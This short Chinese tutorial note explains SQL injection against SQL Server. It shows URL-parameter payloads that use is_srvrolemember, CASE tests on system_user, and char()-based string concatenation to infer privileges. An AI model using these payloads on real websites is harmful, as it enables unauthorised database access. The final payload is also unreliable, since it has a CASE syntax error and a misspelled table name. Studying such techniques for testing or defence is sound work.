SQL注入基於錯誤查詢

is_srvrolemember()是一個SQL Server T-SQL函式，返回值:

1: 如果使用者屬於指定的組

0: 如果使用者不屬於指定的組

NULL: 如果指定的組不存在

?id=12/is_srvrolemember('sysadmin')
如果使用者屬於sysadmin組，那麼id引數等於12/1返回正常的頁面

case語句

case when condition then action1 else action2 end

?id=12/(case when (system_user='sa') then 1 else 0 end)

處理字串

?brand=acme

後臺資料庫執行以下查詢

select * from products where brand='acme'

?brand=acm'%2B'e

%2B是加號+的url編碼最終查詢等價於

select * from products where brand='acm'+'e'

也可以將引數分成三個部分

?brand=ac'%2B'm'%2B'e

使用char()函式修改

?brand=ac'%2Bchar(109)%2B'e

於是就有了一個可控的數字引數

?brand=ac'%2Bchar(108%2B(case+when+(system_user+=+'sa')+when+1+else+0+end)%2B'e

於是最終查詢就變成

select * from peoducts where brand='ac'+char(108+(case when(system_user='sa') then 1 else 0 end)+'e'